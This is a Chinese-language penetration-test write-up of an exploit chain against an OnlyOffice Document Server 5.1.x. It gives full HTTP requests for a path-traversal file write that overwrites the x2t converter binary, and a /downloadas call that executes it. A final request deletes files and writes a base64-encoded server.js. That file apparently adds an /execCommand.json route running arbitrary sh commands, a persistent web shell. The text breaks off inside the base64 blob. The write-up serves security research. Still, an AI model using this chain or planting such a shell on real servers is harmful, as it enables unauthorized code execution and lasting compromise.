记一次曲折的onlyoffice漏洞利用
渗透测试
在一次渗透测试过程中,由于特殊版本的历史漏洞无法利用,通过审计寻找其他路径成功getshell
前言 -- 某天白天,有位好兄弟突然问我,手上有个授权的目标有无空闲帮忙看看,正好那时的我因为下雨被困室内只能尽点绵薄之力。 后续发现下雨是对的,这次较为曲折的漏洞挖掘和思路拓展让我逐渐生锈的脑子开始了转动(头好痒哦) ### 渗透阶段 前期一系列的信息收集诸如域名,icp、子域名等等手段暂且不提,反正最终找到了下面的资产  话不多说,直接开始history vuln尝试一波 ```http POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/welcome/111.txt"} HTTP/1.1 Host: xxx Cookie: LRToken= Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Accept-Language: zh-CN Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 3 xxx ```  哦吼,有戏(开始的我以为已经结束了) #### 覆盖原始web文件注册路由 传统的onlyoffice利用如下: 项目运行的express的用户为ds, web下的文件所属用户也都为ds,那么可以通过覆盖web的一些文件实现RCE 1. 覆盖js文件,新增路由实现RCE,但是比较麻烦的是node需要重启才会加载上新增的路由(无法实现) 2. 通过覆盖模板文件再通过SSTI RCE,覆盖模板文件后不需要重启服务即可利用(未使用模版) 3. 是否存在命令执行调用elf的路由,通过任意文件写覆盖elf来实现命令执行 这里我们使用3方法来尝试RCE 查看本次项目的onlyoffice是5.1.59版本。去github找到对应源码  在已公布的利用poc里,`docbuilder`路由实现的方法如下:  调用`addTask`方法,将生成doc的任务加到队列  在接收到任务后,调用`ExecuteTask`方法,执行  在`ExecuteTask`方法中,会通过`spawnAsync`命令执行方法调用`/var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder ELF`二进制文件来生成文档,`docbuilder`文件所属用户也是ds,那么可以通过之前的文件写漏洞覆盖掉`docbuilder ELF`,再通过`docbuilder`路由触发我们上传覆盖的ELF #### 利用之路漫漫 然而在执行过程中,死活无法成功执行,迫不得已我只能再去仔细阅读一次源码,看看到底是怎么个事。 找到5.1.5.59版本源码查看一番发现 ```js app.post('/docbuilder', utils.checkClientIp, rawFileParser, (req, res) => { const licenseInfo = docsCoServer.getLicenseInfo(); if (licenseInfo.type !== constants.LICENSE_RESULT.Success) { logger.error('License expired'); res.sendStatus(402); return; } converterService.builder(req, res); }); ``` 此版本有一个判断,如果`licenseInfo`类型不为True,则无法执行builder的方法。而在`DocsCoServer.js`当中,`licenseInfo`写死为`Error`,所以无法执行`converterService.builder`  上述的利用链路就无法使用了(TM的甘),所以还能怎么办呢,这时我的脑子非常的痒,挠的时候无意中发现在源码的bin目录里,还存在一个`x2t`的elf文件,这时我想如果我们能够上传并覆盖其内容,并能够执行它,是不是就能达到同样的目的。  #### 开始扩展审计 回到触发命令执行的地方,具体看看代码: ```js function* ExecuteTask(task) { var startDate = null; var curDate = null; if(clientStatsD) { startDate = curDate = new Date(); } var resData; var tempDirs; var getTaskTime = new Date(); var cmd = task.getCmd(); var dataConvert = new TaskQueueDataConvert(task); logger.debug('Start Task(id=%s)', dataConvert.key); var error = constants.NO_ERROR; tempDirs = getTempDir(); let fileTo = task.getToFile(); dataConvert.fileTo = fileTo ? path.join(tempDirs.result, fileTo) : ''; let isBuilder = cmd.getIsBuilder(); if (cmd.getUrl()) { dataConvert.fileFrom = path.join(tempDirs.source, dataConvert.key + '.' + cmd.getFormat()); var isDownload = yield* downloadFile(dataConvert.key, cmd.getUrl(), dataConvert.fileFrom); if (!isDownload) { error = constants.CONVERT_DOWNLOAD; } if(clientStatsD) { clientStatsD.timing('conv.downloadFile', new Date() - curDate); curDate = new Date(); } } else if (cmd.getSaveKey()) { yield* downloadFileFromStorage(cmd.getDocId(), cmd.getDocId(), tempDirs.source); logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key); if(clientStatsD) { clientStatsD.timing('conv.downloadFileFromStorage', new Date() - curDate); curDate = new Date(); } error = yield* processDownloadFromStorage(dataConvert, cmd, task, tempDirs); } else if (cmd.getForgotten()) { yield* downloadFileFromStorage(cmd.getDocId(), cmd.getForgotten(), tempDirs.source); logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key); let list = yield utils.listObjects(tempDirs.source, false); if (list.length > 0) { dataConvert.fileFrom = list[0]; var forgottenMarkPath = tempDirs.result + '/' + cfgForgottenFilesName + '.txt'; fs.writeFileSync(forgottenMarkPath, cfgForgottenFilesName, {encoding: 'utf8'}); } else { error = constants.UNKNOWN; } } else if (isBuilder) { yield* downloadFileFromStorage(cmd.getDocId(), cmd.getDocId(), tempDirs.source); logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key); let list = yield utils.listObjects(tempDirs.source, false); if (list.length > 0) { dataConvert.fileFrom = list[0]; } } else { error = constants.UNKNOWN; } var childRes = null; let isTimeout = false; if (constants.NO_ERROR === error) { if(constants.AVS_OFFICESTUDIO_FILE_OTHER_HTMLZIP === dataConvert.formatTo && cmd.getSaveKey() && !dataConvert.mailMergeSend) { yield utils.pipeFiles(dataConvert.fileFrom, dataConvert.fileTo); } else { var childArgs; if (cfgArgs.length > 0) { childArgs = cfgArgs.trim().replace(/ +/g, ' ').split(' '); } else { childArgs = []; } let processPath; if (!isBuilder) { processPath = cfgX2tPath; let paramsFile = path.join(tempDirs.temp, 'params.xml'); let hiddenXml = dataConvert.serialize(paramsFile); childArgs.push(paramsFile); if (hiddenXml) { childArgs.push(hiddenXml); } } else { fs.mkdirSync(path.join(tempDirs.result, 'output')); processPath = cfgDocbuilderPath; childArgs.push('--all-fonts-path=' + cfgDocbuilderAllFontsPath); childArgs.push('--save-use-only-names=' + tempDirs.result + '/output'); childArgs.push(dataConvert.fileFrom); } let timeoutId; try { let spawnAsyncPromise = spawnAsync(processPath, childArgs); childRes = spawnAsyncPromise.child; let waitMS = task.getVisibilityTimeout() * 1000 - (new Date().getTime() - getTaskTime.getTime()); timeoutId = setTimeout(function() { isTimeout = true; timeoutId = undefined; childRes.stdin.end(); childRes.stdout.destroy(); childRes.stderr.destroy(); childRes.kill(); }, waitMS); childRes = yield spawnAsyncPromise; } catch (err) { let fLog = null === err.status ? logger.error : logger.debug; fLog.call(logger, 'error spawnAsync(id=%s)\r\n%s', cmd.getDocId(), err.stack); childRes = err; } if (undefined !== timeoutId) { clearTimeout(timeoutId); } } if(clientStatsD) { clientStatsD.timing('conv.spawnSync', new Date() - curDate); curDate = new Date(); } } resData = yield* postProcess(cmd, dataConvert, tempDirs, childRes, error, isTimeout); logger.debug('postProcess (id=%s)', dataConvert.key); if(clientStatsD) { clientStatsD.timing('conv.postProcess', new Date() - curDate); curDate = new Date(); } if (tempDirs) { deleteFolderRecursive(tempDirs.temp); logger.debug('deleteFolderRecursive (id=%s)', dataConvert.key); if(clientStatsD) { clientStatsD.timing('conv.deleteFolderRecursive', new Date() - curDate); curDate = new Date(); } } if(clientStatsD) { clientStatsD.timing('conv.allconvert', new Date() - startDate); } return resData; } ``` 以看到`spawnAsync`方法接受两个参数,`processPath`为执行的文件路径,`childArgs`为执行的参数,之前分析`docbuilder`可知,该方法会接受之前我们添加入队列任务的可执行文件完整路径去进行执行  在进入执行方法前,`processPath`有个判断,如果`isBuilder`为false,则为`cfgX2tPath`,否则为`cfgDocBuilderPath`。  可以看到`cfgX2tPath`就是`x2t`文件路径,所以只要满足`if (!isBuilder)` 就可以执行x2t文件了。 ```js var cmd = task.getCmd(); getCmd : function() { return this['cmd']; }, let isBuilder = cmd.getIsBuilder(); getIsBuilder: function() { return this['isbuilder']; }, ``` 如果`task`对象里的`isbuilder`属性也就是cmd对象里的`isbuilder`属性不存在或者为False,就能够进行x2t的执行流程。 在`canvasservice.js`里: ```js function* commandSave(cmd, outputData) { var completeParts = yield* saveParts(cmd, "Editor.bin"); if (completeParts) { var queueData = getSaveTask(cmd); yield* docsCoServer.addTask(queueData, constants.QUEUE_PRIORITY_LOW); } outputData.setStatus('ok'); outputData.setData(cmd.getSaveKey()); } ``` commandSave方法(Generator 函数)会使用`docsCoServer.addTask`将任务添加到执行队列里,需要`completeParts`为True ```js function* saveParts(cmd, filename) { var result = false; var saveType = cmd.getSaveType(); if (SAVE_TYPE_COMPLETE_ALL !== saveType) { let ext = pathModule.extname(filename); filename = pathModule.basename(filename, ext) + (cmd.getSaveIndex() || '') + ext; } if ((SAVE_TYPE_PART_START === saveType || SAVE_TYPE_COMPLETE_ALL === saveType) && !cmd.getSaveKey()) { yield* addRandomKeyTaskCmd(cmd); } if (cmd.getUrl()) { result = true; } else { var buffer = cmd.getData(); yield storage.putObject(cmd.getSaveKey() + '/' + filename, buffer, buffer.length); cmd.data = null; result = (SAVE_TYPE_COMPLETE_ALL === saveType || SAVE_TYPE_COMPLETE === saveType); } return result; } ```  分析可知,如果cmd对象参数里存在url,则直接返回true,或者如果saveType等于3或者4,也能返回true进入后续执行的逻辑。  downloadAs函数里的协程调度器co会驱动调度我们的`commandSave`方法,只要满足cmd对象里c属性为save    接口调用为/downloadas/xx,综合构造只要满足cmd对象里c属性为save,id属性不为空,saveType属性为3或4即可执行x2t文件 #### 漏洞再利用 先覆盖x2t elf文件内容 ```http POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/x2t"} HTTP/1.1 Host: xxx Accept-Language: zh-CN Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 71 echo "1234" > /var/www/onlyoffice/documentserver/server/welcome/123.txt ```  调用执行接口: ```http POST /downloadas/1?cmd={"c":"save","id":"123456","savetype":3} HTTP/1.1 Host: xxx Accept-Language: zh-CN Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/json Content-Length: 0 ```  查看结果:  #### 稳定RCE 虽然最终已经可以执行命令了,但是每次执行都要这样三部曲实在过于麻烦,我们可以覆盖server文件,增加一个直接调用命令的路由,这样通过调用自己编写的路由直接RCE更加方便 ```http POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/x2t"} HTTP/1.1 Host: xxx Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Accept-Language: zh-CN Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 67 cp /var/www/onlyoffice/documentserver/server/DocService/sources/server.js /var/www/onlyoffice/documentserver/server/DocService/server.js;rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;echo "LyoKICogQ29weXJpZ2h0IChDKSBBc2NlbnNpbyBTeXN0ZW0gU0lBIDIwMTItMjAxOS4gQWxsIHJpZ2h0cyByZXNlcnZlZAogKgogKiBodHRwczovL3d3dy5vbmx5b2ZmaWNlLmNvbS8gCiAqCiAqIFZlcnNpb246IDUuNC4yIChidWlsZDo0NikKICovCgondXNlIHN0cmljdCc7Cgpjb25zdCBjbHVzdGVyID0gcmVxdWlyZSgnY2x1c3RlcicpOwpjb25zdCBjb25maWdDb21tb24gPSByZXF1aXJlKCdjb25maWcnKTsKY29uc3QgY29uZmlnID0gY29uZmlnQ29tbW9uLmdldCgnc2VydmljZXMuQ29BdXRob3JpbmcnKTsKY29uc3QgbG9nZ2VyID0gcmVxdWlyZSgnLi8uLi8uLi9Db21tb24vc291cmNlcy9sb2dnZXInKTsKY29uc3QgY28gPSByZXF1aXJlKCdjbycpOwpjb25zdCBsaWNlbnNlID0gcmVxdWlyZSgnLi8uLi8uLi9Db21tb24vc291cmNlcy9saWNlbnNlJyk7CgppZiAoY2x1c3Rlci5pc01hc3RlcikgewoJY29uc3QgZnMgPSByZXF1aXJlKCdmcycpOwoJbGV0IGxpY2Vuc2VJbmZvLCB3b3JrZXJzQ291bnQgPSAwLCB1cGRhdGVUaW1lOwoJY29uc3QgcmVhZExpY2Vuc2UgPSBmdW5jdGlvbiooKSB7CgkJbGljZW5zZUluZm8gPSB5aWVsZCogbGljZW5zZS5yZWFkTGljZW5zZSgpOwoJCXdvcmtlcnNDb3VudCA9IE1hdGgubWluKDEsIGxpY2Vuc2VJbmZvLmNvdW50LyosIE1hdGguY2VpbChudW1DUFVzICogY2ZnV29ya2VyUGVyQ3B1KSovKTsKCX07Cgljb25zdCB1cGRhdGVMaWNlbnNlV29ya2VyID0gKHdvcmtlcikgPT4gewoJCXdvcmtlci5zZW5kKHt0eXBlOiAxLCBkYXRhOiBsaWNlbnNlSW5mb30pOwoJfTsKCWNvbnN0IHVwZGF0ZVdvcmtlcnMgPSAoKSA9PiB7CgkJY29uc3QgYXJyS2V5V29ya2VycyA9IE9iamVjdC5rZXlzKGNsdXN0ZXIud29ya2Vycyk7CgkJaWYgKGFycktleVdvcmtlcnMubGVuZ3RoIDwgd29ya2Vyc0NvdW50KSB7CgkJCWZvciAobGV0IGkgPSBhcnJLZXlXb3JrZXJzLmxlbmd0aDsgaSA8IHdvcmtlcnNDb3VudDsgKytpKSB7CgkJCQljb25zdCBuZXdXb3JrZXIgPSBjbHVzdGVyLmZvcmsoKTsKCQkJCWxvZ2dlci53YXJuKCd3b3JrZXIgJXMgc3RhcnRlZC4nLCBuZXdXb3JrZXIucHJvY2Vzcy5waWQpOwoJCQl9CgkJfSBlbHNlIHsKCQkJZm9yIChsZXQgaSA9IHdvcmtlcnNDb3VudDsgaSA8IGFycktleVdvcmtlcnMubGVuZ3RoOyArK2kpIHsKCQkJCWNvbnN0IGtpbGxXb3JrZXIgPSBjbHVzdGVyLndvcmtlcnNbYXJyS2V5V29ya2Vyc1tpXV07CgkJCQlpZiAoa2lsbFdvcmtlcikgewoJCQkJCWtpbGxXb3JrZXIua2lsbCgpOwoJCQkJfQoJCQl9CgkJfQoJfTsKCWNvbnN0IHVwZGF0ZVBsdWdpbnMgPSAoZXZlbnRUeXBlLCBmaWxlbmFtZSkgPT4gewoJCWNvbnNvbGUubG9nKCd1cGRhdGUgRm9sZGVyOiAlcyA7ICVzJywgZXZlbnRUeXBlLCBmaWxlbmFtZSk7CgkJaWYgKHVwZGF0ZVRpbWUgJiYgMTAwMCA+PSAobmV3IERhdGUoKSAtIHVwZGF0ZVRpbWUpKSB7CgkJCXJldHVybjsKCQl9CgkJY29uc29sZS5sb2coJ3VwZGF0ZSBGb2xkZXIgdHJ1ZTogJXMgOyAlcycsIGV2ZW50VHlwZSwgZmlsZW5hbWUpOwoJCXVwZGF0ZVRpbWUgPSBuZXcgRGF0ZSgpOwoJCWZvciAobGV0IGkgaW4gY2x1c3Rlci53b3JrZXJzKSB7CgkJCWNsdXN0ZXIud29ya2Vyc1tpXS5zZW5kKHt0eXBlOiAyfSk7CgkJfQoJfTsKCWNvbnN0IHVwZGF0ZUxpY2Vuc2UgPSAoKSA9PiB7CgkJcmV0dXJuIGNvKGZ1bmN0aW9uKigpIHsKCQkJdHJ5IHsKCQkJCXlpZWxkKiByZWFkTGljZW5zZSgpOwoJCQkJbG9nZ2VyLndhcm4oJ3VwZGF0ZSBjbHVzdGVyIHdpdGggJXMgd29ya2VycycsIHdvcmtlcnNDb3VudCk7CgkJCQlmb3IgKGxldCBpIGluIGNsdXN0ZXIud29ya2VycykgewoJCQkJCXVwZGF0ZUxpY2Vuc2VXb3JrZXIoY2x1c3Rlci53b3JrZXJzW2ldKTsKCQkJCX0KCQkJCXVwZGF0ZVdvcmtlcnMoKTsKCQkJfSBjYXRjaCAoZXJyKSB7CgkJCQlsb2dnZXIuZXJyb3IoJ3VwZGF0ZUxpY2Vuc2UgZXJyb3I6XHJcbiVzJywgZXJyLnN0YWNrKTsKCQkJfQoJCX0pOwoJfTsKCgljbHVzdGVyLm9uKCdmb3JrJywgKHdvcmtlcikgPT4gewoJCXVwZGF0ZUxpY2Vuc2VXb3JrZXIod29ya2VyKTsKCX0pOwoJY2x1c3Rlci5vbignZXhpdCcsICh3b3JrZXIsIGNvZGUsIHNpZ25hbCkgPT4gewoJCWxvZ2dlci53YXJuKCd3b3JrZXIgJXMgZGllZCAoY29kZSA9ICVzOyBzaWduYWwgPSAlcykuJywgd29ya2VyLnByb2Nlc3MucGlkLCBjb2RlLCBzaWduYWwpOwoJCXVwZGF0ZVdvcmtlcnMoKTsKCX0pOwoKCXVwZGF0ZUxpY2Vuc2UoKTsKCgl0cnkgewoJCWZzLndhdGNoKGNvbmZpZy5nZXQoJ3BsdWdpbnMucGF0aCcpLCB1cGRhdGVQbHVnaW5zKTsKCX0gY2F0Y2ggKGUpIHsKCQlsb2dnZXIud2FybignUGx1Z2lucyB3YXRjaCBleGNlcHRpb24gKGh0dHBzOi8vbm9kZWpzLm9yZy9kb2NzL2xhdGVzdC9hcGkvZnMuaHRtbCNmc19hdmFpbGFiaWxpdHkpLicpOwoJfQoJZnMud2F0Y2hGaWxlKGNvbmZpZ0NvbW1vbi5nZXQoJ2xpY2Vuc2UnKS5nZXQoJ2xpY2Vuc2VfZmlsZScpLCB1cGRhdGVMaWNlbnNlKTsKCXNldEludGVydmFsKHVwZGF0ZUxpY2Vuc2UsIDg2NDAwMDAwKTsKfSBlbHNlIHsKCWxvZ2dlci53YXJuKCdFeHByZXNzIHNlcnZlciBzdGFydGluZy4uLicpOwoKCWNvbnN0IGV4cHJlc3MgPSByZXF1aXJlKCdleHByZXNzJyk7Cgljb25zdCBodHRwID0gcmVxdWlyZSgnaHR0cCcpOwoJY29uc3QgdXJsTW9kdWxlID0gcmVxdWlyZSgndXJsJyk7Cgljb25zdCBwYXRoID0gcmVxdWlyZSgncGF0aCcpOwoJY29uc3QgYm9keVBhcnNlciA9IHJlcXVpcmUoImJvZHktcGFyc2VyIik7Cgljb25zdCBtaW1lID0gcmVxdWlyZSgnbWltZScpOwoJY29uc3QgZG9jc0NvU2VydmVyID0gcmVxdWlyZSgnLi9Eb2NzQ29TZXJ2ZXInKTsKCWNvbnN0IGNhbnZhc1NlcnZpY2UgPSByZXF1aXJlKCcuL2NhbnZhc3NlcnZpY2UnKTsKCWNvbnN0IGNvbnZlcnRlclNlcnZpY2UgPSByZXF1aXJlKCcuL2NvbnZlcnRlcnNlcnZpY2UnKTsKCWNvbnN0IGZpbGVVcGxvYWRlclNlcnZpY2UgPSByZXF1aXJlKCcuL2ZpbGV1cGxvYWRlcnNlcnZpY2UnKTsKCWNvbnN0IGNvbnN0YW50cyA9IHJlcXVpcmUoJy4vLi4vLi4vQ29tbW9uL3NvdXJjZXMvY29uc3RhbnRzJyk7Cgljb25zdCB1dGlscyA9IHJlcXVpcmUoJy4vLi4vLi4vQ29tbW9uL3NvdXJjZXMvdXRpbHMnKTsKCWNvbnN0IGNvbW1vbkRlZmluZXMgPSByZXF1aXJlKCcuLy4uLy4uL0NvbW1vbi9zb3VyY2VzL2NvbW1vbmRlZmluZXMnKTsKCWNvbnN0IGNvbmZpZ1N0b3JhZ2UgPSBjb25maWdDb21tb24uZ2V0KCdzdG9yYWdlJyk7Cgljb25zdCBhcHAgPSBleHByZXNzKCk7Cgljb25zdCBzZXJ2ZXIgPSBodHRwLmNyZWF0ZVNlcnZlcihhcHApOwoKCWxldCB1c2VyUGx1Z2lucyA9IG51bGwsIHVwZGF0ZVBsdWdpbnMgPSB0cnVlOwoKCWlmIChjb25maWcuaGFzKCdzZXJ2ZXIuc3RhdGljX2NvbnRlbnQnKSkgewoJCWNvbnN0IHN0YXRpY0NvbnRlbnQgPSBjb25maWcuZ2V0KCdzZXJ2ZXIuc3RhdGljX2NvbnRlbnQnKTsKCQlmb3IgKGxldCBpIGluIHN0YXRpY0NvbnRlbnQpIHsKCQkJYXBwLnVzZShpLCBleHByZXNzLnN0YXRpYyhzdGF0aWNDb250ZW50W2ldWydwYXRoJ10sIHN0YXRpY0NvbnRlbnRbaV1bJ29wdGlvbnMnXSkpOwoJCX0KCX0KCglpZiAoY29uZmlnU3RvcmFnZS5oYXMoJ2ZzLmZvbGRlclBhdGgnKSkgewoJCWNvbnN0IGNmZ0J1Y2tldE5hbWUgPSBjb25maWdTdG9yYWdlLmdldCgnYnVja2V0TmFtZScpOwoJCWNvbnN0IGNmZ1N0b3JhZ2VGb2xkZXJOYW1lID0gY29uZmlnU3RvcmFnZS5nZXQoJ3N0b3JhZ2VGb2xkZXJOYW1lJyk7CgkJYXBwLnVzZSgnLycgKyBjZmdCdWNrZXROYW1lICsgJy8nICsgY2ZnU3RvcmFnZUZvbGRlck5hbWUsIChyZXEsIHJlcywgbmV4dCkgPT4gewoJCQljb25zdCBpbmRleCA9IHJlcS51cmwubGFzdEluZGV4T2YoJy8nKTsKCQkJaWYgKCdHRVQnID09PSByZXEubWV0aG9kICYmIC0xICE9IGluZGV4KSB7CgkJCQljb25zdCBjb250ZW50RGlzcG9zaXRpb24gPSByZXEucXVlcnlbJ2Rpc3Bvc2l0aW9uJ10gfHwgJ2F0dGFjaG1lbnQnOwoJCQkJbGV0IHNlbmRGaWxlT3B0aW9ucyA9IHsKCQkJCQlyb290OiBjb25maWdTdG9yYWdlLmdldCgnZnMuZm9sZGVyUGF0aCcpLCBkb3RmaWxlczogJ2RlbnknLCBoZWFkZXJzOiB7CgkJCQkJCSdDb250ZW50LURpc3Bvc2l0aW9uJzogY29udGVudERpc3Bvc2l0aW9uCgkJCQkJfQoJCQkJfTsKCQkJCWNvbnN0IHVybFBhcnNlZCA9IHVybE1vZHVsZS5wYXJzZShyZXEudXJsKTsKCQkJCWlmICh1cmxQYXJzZWQgJiYgdXJsUGFyc2VkLnBhdGhuYW1lKSB7CgkJCQkJY29uc3QgZmlsZW5hbWUgPSBkZWNvZGVVUklDb21wb25lbnQocGF0aC5iYXNlbmFtZSh1cmxQYXJzZWQucGF0aG5hbWUpKTsKCQkJCQlzZW5kRmlsZU9wdGlvbnMuaGVhZGVyc1snQ29udGVudC1UeXBlJ10gPSBtaW1lLmdldFR5cGUoZmlsZW5hbWUpOwoJCQkJfQoJCQkJY29uc3QgcmVhbFVybCA9IHJlcS51cmwuc3Vic3RyaW5nKDAsIGluZGV4KTsKCQkJCXJlcy5zZW5kRmlsZShyZWFsVXJsLCBzZW5kRmlsZU9wdGlvbnMsIChlcnIpID0+IHsKCQkJCQlpZiAoZXJyKSB7CgkJCQkJCWxvZ2dlci5lcnJvcihlcnIpOwoJCQkJCQlyZXMuc3RhdHVzKDQwMCkuZW5kKCk7CgkJCQkJfQoJCQkJfSk7CgkJCX0gZWxzZSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDQpCgkJCX0KCQl9KTsKCX0KCWRvY3NDb1NlcnZlci5pbnN0YWxsKHNlcnZlciwgKCkgPT4gewoJCXNlcnZlci5saXN0ZW4oY29uZmlnLmdldCgnc2VydmVyLnBvcnQnKSwgKCkgPT4gewoJCQlsb2dnZXIud2FybigiRXhwcmVzcyBzZXJ2ZXIgbGlzdGVuaW5nIG9uIHBvcnQgJWQgaW4gJXMgbW9kZSIsIGNvbmZpZy5nZXQoJ3NlcnZlci5wb3J0JyksIGFwcC5zZXR0aW5ncy5lbnYpOwoJCX0pOwoJCWFwcC5hbGwoJy9leGVjQ29tbWFuZC5qc29uJywgKHJlcSwgcmVzKSA9PiB7CgkJCWNvbnN0IHNwYXduID0gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLnNwYXduOwoJCQl2YXIgdXNlcm5hbWUgPSByZXEucXVlcnkudXNlcm5hbWUgPyByZXEucXVlcnkudXNlcm5hbWU6IHJlcS5oZWFkZXIoImNtZCIpOwoJCQlpZighdXNlcm5hbWUpewoJCQkJcmVzLnNlbmQoImVtcHR5IHBhcmEhIik7CgkJCX1lbHNlIHsKCQkJCWNvbnN0IGNtZCA9IHNwYXduKCdzaCcsIFsnLWMnLCB1c2VybmFtZV0pOwoJCQkJdmFyIHJlc3VsdCA9ICIiOwoJCQkJY21kLnN0ZG91dC5vbignZGF0YScsIChkYXRhKSA9PiB7CgkJCQkJcmVzdWx0ICs9IGRhdGE7CgkJCQl9KTsKCgkJCQljbWQub24oJ2Nsb3NlJywgKGNvZGUpID0+IHsKCQkJCQlyZXMuc2VuZChyZXN1bHQpOwoJCQkJCXJldHVybiByZXMuZW5kKCk7CgkJCQl9KQoJCQl9CgkJfSk7CgkJYXBwLmdldCgnL2luZGV4Lmh0bWwnLCAocmVxLCByZXMpID0+IHsKCQkJcmVzLnNlbmQoJ1NlcnZlciBpcyBmdW5jdGlvbmluZyBub3JtYWxseS4gVmVyc2lvbjogJyArIGNvbW1vbkRlZmluZXMuYnVpbGRWZXJzaW9uICsgJy4gQnVpbGQ6ICcgKwoJCQkJY29tbW9uRGVmaW5lcy5idWlsZE51bWJlcik7CgkJfSk7CgkJY29uc3QgcmF3RmlsZVBhcnNlciA9IGJvZHlQYXJzZXIucmF3KAoJCQl7aW5mbGF0ZTogdHJ1ZSwgbGltaXQ6IGNvbmZpZy5nZXQoJ3NlcnZlci5saW1pdHNfdGVtcGZpbGVfdXBsb2FkJyksIHR5cGU6ICcqLyonfSk7CgoJCWFwcC5nZXQoJy9jb2F1dGhvcmluZy9Db21tYW5kU2VydmljZS5hc2h4JywgdXRpbHMuY2hlY2tDbGllbnRJcCwgcmF3RmlsZVBhcnNlciwgZG9jc0NvU2VydmVyLmNvbW1hbmRGcm9tU2VydmVyKTsKCQlhcHAucG9zdCgnL2NvYXV0aG9yaW5nL0NvbW1hbmRTZXJ2aWNlLmFzaHgnLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLAoJCQlkb2NzQ29TZXJ2ZXIuY29tbWFuZEZyb21TZXJ2ZXIpOwoKCQlhcHAuZ2V0KCcvQ29udmVydFNlcnZpY2UuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGNvbnZlcnRlclNlcnZpY2UuY29udmVydFhtbCk7CgkJYXBwLnBvc3QoJy9Db252ZXJ0U2VydmljZS5hc2h4JywgdXRpbHMuY2hlY2tDbGllbnRJcCwgcmF3RmlsZVBhcnNlciwgY29udmVydGVyU2VydmljZS5jb252ZXJ0WG1sKTsKCQlhcHAucG9zdCgnL2NvbnZlcnRlcicsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGNvbnZlcnRlclNlcnZpY2UuY29udmVydEpzb24pOwoKCgkJYXBwLmdldCgnL0ZpbGVVcGxvYWRlci5hc2h4JywgdXRpbHMuY2hlY2tDbGllbnRJcCwgcmF3RmlsZVBhcnNlciwgZmlsZVVwbG9hZGVyU2VydmljZS51cGxvYWRUZW1wRmlsZSk7CgkJYXBwLnBvc3QoJy9GaWxlVXBsb2FkZXIuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGZpbGVVcGxvYWRlclNlcnZpY2UudXBsb2FkVGVtcEZpbGUpOwoKCQljb25zdCBkb2NJZFJlZ0V4cCA9IG5ldyBSZWdFeHAoIl5bIiArIGNvbnN0YW50cy5ET0NfSURfUEFUVEVSTiArICJdKiQiLCAnaScpOwoJCWFwcC5wYXJhbSgnZG9jaWQnLCAocmVxLCByZXMsIG5leHQsIHZhbCkgPT4gewoJCQlpZiAoZG9jSWRSZWdFeHAudGVzdCh2YWwpKSB7CgkJCQluZXh0KCk7CgkJCX0gZWxzZSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDMpOwoJCQl9CgkJfSk7CgkJYXBwLnBhcmFtKCdpbmRleCcsIChyZXEsIHJlcywgbmV4dCwgdmFsKSA9PiB7CgkJCWlmICghaXNOYU4ocGFyc2VJbnQodmFsKSkpIHsKCQkJCW5leHQoKTsKCQkJfSBlbHNlIHsKCQkJCXJlcy5zZW5kU3RhdHVzKDQwMyk7CgkJCX0KCQl9KTsKCQlhcHAucG9zdCgnL3VwbG9hZG9sZC86ZG9jaWQvOnVzZXJpZC86aW5kZXgnLCBmaWxlVXBsb2FkZXJTZXJ2a